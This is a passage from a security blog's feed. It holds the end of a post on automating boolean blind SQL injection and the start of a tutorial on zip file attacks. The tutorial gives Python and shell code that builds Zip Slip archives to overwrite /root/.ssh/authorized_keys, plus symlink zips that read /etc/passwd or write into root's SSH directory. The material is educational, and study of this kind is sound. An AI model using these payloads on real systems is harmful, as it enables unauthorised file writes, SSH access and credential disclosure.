sql &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; prompt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prompt&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;sqli&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;conclusion&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#conclusion&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Conclusion&lt;/h2&gt;
&lt;p&gt;In this post, we introduced Boolean-Based Blind SQL injection, how it can be used to enumerate a database, and some optimisations and workarounds for exfiltrating data more reliably. We also explored some useful Python libraries to glue onto your project.&lt;/p&gt;
&lt;p&gt;Automation and scripting can be a powerful time saver when the need exists. We identified a tedious task — brute forcing characters for possibly long strings — and followed up with incremental changes. Hopefully the reader has picked up a few tips on automation.&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Unicode characters are trickier to deal with. One possible way is to cast the number on the RHS with &lt;code&gt;CHAR&lt;/code&gt;. (This is the method SQLmap uses.) Another possible way in MySQL is to use &lt;a href=&quot;https://dev.mysql.com/doc/refman/8.4/en/string-functions.html#function_ord&quot;&gt;&lt;code&gt;ord&lt;/code&gt;&lt;/a&gt;, which maps multibyte characters to base-256. Character encoding is hard. :( &lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Full code for the Flask + SQLite demo is &lt;a href=&quot;https://github.com/TrebledJ/bsqli.py/blob/89e06c708d8a3be4afca6efcddff69097934d0df/demo/server.py&quot;&gt;uploaded on GitHub&lt;/a&gt; for reference. &lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;This should make sense in bit terms. We only need 7 queries to figure out the 7 bits of an ASCII character. (The first bit is assumed to be 0.) Most Boolean-Based SQLi throwaway scripts don&#39;t do binary search because the algorithm is tricky to get right. But it&#39;s useful to know, and can be applied to time-based SQLi (another type of blind SQLi) as well for massive time discounts. &lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Although in Windows, this appears to be built-in?! At least Windows or Python on Windows does one thing well. 🤷‍♂️ &lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>infosec</category>
        
          <category>sql</category>
        
          <category>python</category>
        
          <category>web</category>
        
          <category>programming</category>
        
          <category>project</category>
        
          <category>writeup</category>
        
          <category>tutorial</category>
        
          <category>pentesting</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>From Compression to Compromise: Unmasking Zip File Threats</title>
        <description>Deep dive into zip file attacks and mitigations (with examples!).</description>
        <link href="https://trebledj.me/posts/attack-of-the-zip/"/>
        <updated>2024-02-15T00:00:00Z</updated>
        <id>https://trebledj.me/posts/attack-of-the-zip/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Zip files are &lt;em&gt;everywhere&lt;/em&gt; in our daily lives, seamlessly integrated into our personal, academic, and professional environments. From Java apps to Microsoft Office documents, zip files have become an indispensable tool.&lt;/p&gt;
&lt;p&gt;But as we know from &lt;em&gt;Silicon Valley&lt;/em&gt;, zip files have the potential to be dangerous.&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Filmmakers&#39; impression of a zip bomb.&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-707w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-707w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 707 / 500&quot; alt=&quot;Filmmakers&#39; impression of a zip bomb.&quot; title=&quot;Filmmakers&#39; impression of a zip bomb.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-512w.webp 512w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/yikes-its-a-zip-bomb-707w.webp 707w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 707px&quot; /&gt;&lt;/a&gt;
&lt;sup&gt;YouTube: &lt;a href=&quot;https://www.youtube.com/watch?v=jnDk8BcqoR0&quot;&gt;Silicon Valley - The Ultimate Hack&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;In this post, we&#39;ll delve into the intriguing world of zip file attacks, exploring various attacks and mitigations involving zip files. These attacks allow attackers to potentially gain unauthorised file read/write privileges—or even cause denial of service. This calls for mitigations to bolster our systems’ defences.&lt;/p&gt;
&lt;p&gt;The discussion will primarily centre around attacks on Linux/Unix, although considerations for Windows are also included.&lt;/p&gt;
&lt;div class=&quot;alert alert-danger d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-radiation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Disclaimer: The content provided in this blog post is intended purely for educational purposes. The author does not assume any responsibility for the potential misuse of the information presented herein. Readers are advised to exercise caution and utilise the knowledge gained responsibly and within legal boundaries.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;zip-attacks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-attacks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Attacks&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Fred dissects evil zip files. Spoofy-spoofy doo!&quot; href=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 666&quot; alt=&quot;Fred dissects evil zip files. Spoofy-spoofy doo!&quot; title=&quot;Fred dissects evil zip files. Spoofy-spoofy doo!&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-256w.webp 256w, https://trebledj.me/img/posts/infosec/attack-of-the-zip/assets/evil-zip-unveiled-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;zip-slip&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-slip&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Slip ⛸&lt;/h3&gt;
&lt;h4 id=&quot;overview-of-zip-slip&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#overview-of-zip-slip&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Overview of Zip Slip&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Zip Slip&lt;/strong&gt; is a fancy name for &lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;directory traversal&lt;/a&gt; but applied to zip uploads. The idea is to &lt;em&gt;escape&lt;/em&gt; a directory by visiting parent directories through &lt;code&gt;../&lt;/code&gt; (or &lt;code&gt;..&#92;&lt;/code&gt; on Windows). By exploiting the lack of filename validation, Zip Slip enables us to perform arbitrary file writes.&lt;/p&gt;
&lt;p&gt;Let&#39;s look at an example.&lt;/p&gt;
&lt;p&gt;A typical zip file may look like this:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;foo.zip
└── data1.csv
└── data2.txt
└── ...&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;But in a Zip Slip payload, files are prefixed with nasty double-dots (&lt;code&gt;../&lt;/code&gt;). As an example, we&#39;ll try to overwrite SSH keys by writing to &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;evil-slip.zip
└── placeholder.txt
└── ../../root/.ssh/authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;(Note: &lt;code&gt;placeholder.txt&lt;/code&gt; has been included as a control variable, i.e. to show what happens normally to files.)&lt;/p&gt;
&lt;p&gt;Most decompression applications will refuse to unpack such a zip. But vulnerable ones would gladly accept it and overwrite SSH keys on their system.&lt;/p&gt;
&lt;p&gt;Suppose a vulnerable application unzips &lt;code&gt;evil-slip.zip&lt;/code&gt; to &lt;code&gt;/app/uploads/&lt;/code&gt;. The unzipped &lt;code&gt;authorized_keys&lt;/code&gt; file would end up in &lt;code&gt;/app/uploads/../../root/.ssh/authorized_keys&lt;/code&gt;, i.e. &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/
├── app/
│	└── uploads/
│	    └── placeholder.txt
└── root/
    └── .ssh/
		└── authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Result of unzipping &lt;code&gt;evil-slip.zip&lt;/code&gt;. Note that &lt;code&gt;placeholder.txt&lt;/code&gt; resides in the unzip directory, while &lt;code&gt;authorized_keys&lt;/code&gt; has sneaked its way into &lt;code&gt;/root/.ssh/&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Overwriting &lt;code&gt;~/.ssh/authorized_keys&lt;/code&gt; is a common arbitrary file write vector which can be applied in other file upload scenarios too! (See &lt;a href=&quot;https://attack.mitre.org/techniques/T1098/004/&quot;&gt;&lt;em&gt;this MITRE reference&lt;/em&gt;&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;This isn&#39;t the only way to gain arbitrary code execution. There are other potential targets for an arbitrary file write (server credentials, config files, cron jobs, etc.).&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;diy-build-your-own-zip-slip-payload&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#diy-build-your-own-zip-slip-payload&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; DIY: Build your own Zip Slip payload!&lt;/h4&gt;
&lt;details&gt;&lt;summary&gt;With Python&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Python&#39;s built-in &lt;code&gt;zipfile&lt;/code&gt; module provides a convenient way to create zip files.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; zipfile

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; zipfile&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ZipFile&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;evil-slip.zip&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;my-ssh-key.pub&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;../../root/.ssh/authorized_keys&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;#          │                 └ filename to store on the archive&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;#          └ file to compress from our local file system&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This creates a new &lt;code&gt;evil-slip.zip&lt;/code&gt; zip file. After importing the &lt;code&gt;zipfile&lt;/code&gt; module, we create an instance with the desired file name (&lt;code&gt;evil-slip.zip&lt;/code&gt;) and use write-mode (&lt;code&gt;&amp;quot;w&amp;quot;&lt;/code&gt;). (There is also &lt;code&gt;r&lt;/code&gt; and &lt;code&gt;a&lt;/code&gt; for reading/adding files.)&lt;/p&gt;
&lt;p&gt;We also use Python&#39;s &lt;code&gt;with&lt;/code&gt; statement, so that the zip file automatically saves when leaving the block, whether due to normal or erroneous circumstances.&lt;/p&gt;
&lt;p&gt;Inside, we use &lt;code&gt;zip.write&lt;/code&gt; to add files to the zip. We add a local file &lt;code&gt;my-ssh-key.pub&lt;/code&gt; and store it as &lt;code&gt;../../root/.ssh/authorized_keys&lt;/code&gt; in the archive.&lt;/p&gt;
&lt;p&gt;One nice thing about the &lt;code&gt;zipfile&lt;/code&gt; module is that it constructs the file &lt;em&gt;in-memory&lt;/em&gt; (without creating temporary files). This allows us to craft complex zips without trashing our local filesystem.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;details&gt;&lt;summary&gt;With Shell Commands&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Another approach is to use shell commands and reverse the process: start with the files we want unzipped.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-shell&quot; data-prompt=&quot;$&quot; data-filter-output=&quot;out&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;touch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/root/.ssh/authorized_keys&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Normally we would run `ssh-keygen` to generate a key pair...&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;and use the generated public key as our authorized_keys.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;But let&#39;s assume ../.ssh/authorized_keys holds a public key.&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;zip&lt;/span&gt; evil-slip &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/&lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;/root/.ssh/authorized_keys&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  adding: ../../root/.ssh/authorized_keys (deflated 18%)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;unzip&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-l&lt;/span&gt; evil-slip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;Archive:  evil-slip.zip&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  Length      Date    Time    Name&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;---------  ---------- -----   ----&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;      575  01-23-2024 17:53   ../../root/.ssh/authorized_keys&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;---------                     -------&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;      575                     1 file&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h4 id=&quot;limitations-of-zip-slip&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#limitations-of-zip-slip&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Limitations of Zip Slip&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;On Windows, you may need backslashes &lt;code&gt;&#92;&lt;/code&gt; instead of forward slashes &lt;code&gt;/&lt;/code&gt;. This ultimately depends on the unzipping application/library. Some libraries will convert between slashes.&lt;/li&gt;
&lt;li&gt;The app needs execute permissions on intermediate folders (to traverse across) and write permissions on the target folder.
For instance, to write to &lt;code&gt;foo/bar/baz/flag.txt&lt;/code&gt;, we need &lt;code&gt;x&lt;/code&gt; permissions on &lt;code&gt;foo/&lt;/code&gt; and &lt;code&gt;foo/bar/&lt;/code&gt;; and &lt;code&gt;wx&lt;/code&gt; permissions on &lt;code&gt;foo/bar/baz/&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;zip-symlink-attacks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#zip-symlink-attacks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Zip Symlink Attacks 🖇&lt;/h3&gt;
&lt;p&gt;Zip symlink attacks are just that: zip file attacks containing symlinks (symbolic links). There are several ways to build such a malicious zip, but let&#39;s first clarify two types of symlinks in our arsenal:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Symlink Files. This allows us to potentially &lt;em&gt;read&lt;/em&gt; arbitrary files.&lt;/li&gt;
&lt;li&gt;Symlink Directories. This allows us to potentially &lt;em&gt;write files&lt;/em&gt; to arbitrary folders.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Why “potential”? Because there are other factors that may hinder such attacks: OS permissions, &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;web application firewalls&quot;&gt;WAFs&lt;/abbr&gt;, etc.&lt;/p&gt;
&lt;h4 id=&quot;arbitrary-file-read-with-file-symlinks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#arbitrary-file-read-with-file-symlinks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Arbitrary File Read with File Symlinks&lt;/h4&gt;
&lt;p&gt;Let&#39;s start with a simple zip symlink payload. Here&#39;s a zip which contains a symlink to &lt;code&gt;/etc/passwd&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;evil-link-file.zip
└── passwd.txt         -&amp;gt; /etc/passwd&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Suppose (again) a vulnerable app unzips this file at &lt;code&gt;/app/uploads/&lt;/code&gt;. The filesystem would now resemble:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;app/
└── uploads/
	└── passwd.txt     -&amp;gt; /etc/passwd&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;If we can read files in &lt;code&gt;/app/uploads/&lt;/code&gt;, then we can read &lt;code&gt;passwd.txt&lt;/code&gt; and by extension, &lt;code&gt;/etc/passwd&lt;/code&gt;!&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; We can use this method to read any file on the system (subject to certain constraints to be discussed later).&lt;/p&gt;
&lt;p&gt;This is all fine and dandy if we can read files in &lt;code&gt;/app/uploads/&lt;/code&gt;. But... what if can&#39;t?&lt;/p&gt;
&lt;p&gt;One solution is to find a readable directory, then deploy the symlink &lt;em&gt;into that directory&lt;/em&gt; with Zip Slip. But let&#39;s look at another way to achieve the same result...&lt;/p&gt;
&lt;h4 id=&quot;arbitrary-file-write-with-dir-symlinks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/attack-of-the-zip/#arbitrary-file-write-with-dir-symlinks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Arbitrary File Write with Dir Symlinks&lt;/h4&gt;
&lt;p&gt;Although Zip Slip does allow us to perform arbitrary file writes, &lt;code&gt;..&lt;/code&gt; patterns may be (naively) filtered or blocked. An alternative is to use directory symlinks.&lt;/p&gt;
&lt;p&gt;Again, let&#39;s try to write a file to &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Instead of using one zip entry, we&#39;ll use two: a directory and a file.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;evil-link-dir.zip
└── dirlink/           -&amp;gt; /root/.ssh/
    └── authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;These two entries are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dirlink&lt;/code&gt;: a symlink to our target directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dirlink/authorized_keys&lt;/code&gt;: the file we&#39;re trying to write&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now our zip contains a symlink directory! Let&#39;s go through what happens when this file is unzipped by a vulnerable app.&lt;/p&gt;
&lt;p&gt;First, &lt;code&gt;dirlink&lt;/code&gt; is decompressed and a symlink is created, pointing to &lt;code&gt;/root/.ssh/&lt;/code&gt;. Next, the app tries to decompress &lt;code&gt;dirlink/authorized_keys&lt;/code&gt;, which—if the app follows symlinks—gets written to &lt;code&gt;/root/.ssh/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Tada! We&#39;ve just shown another way to achieve arbitrary file write.&lt;/p&gt;
&lt;p&gt;Let&#39;s see what the filesystem looks like now.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/
├── app/
│	└── uploads/
│	    └── dirlink        -&amp;gt; /root/.ssh/
└── root/
    └── .ssh/
		└── authorized_keys&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
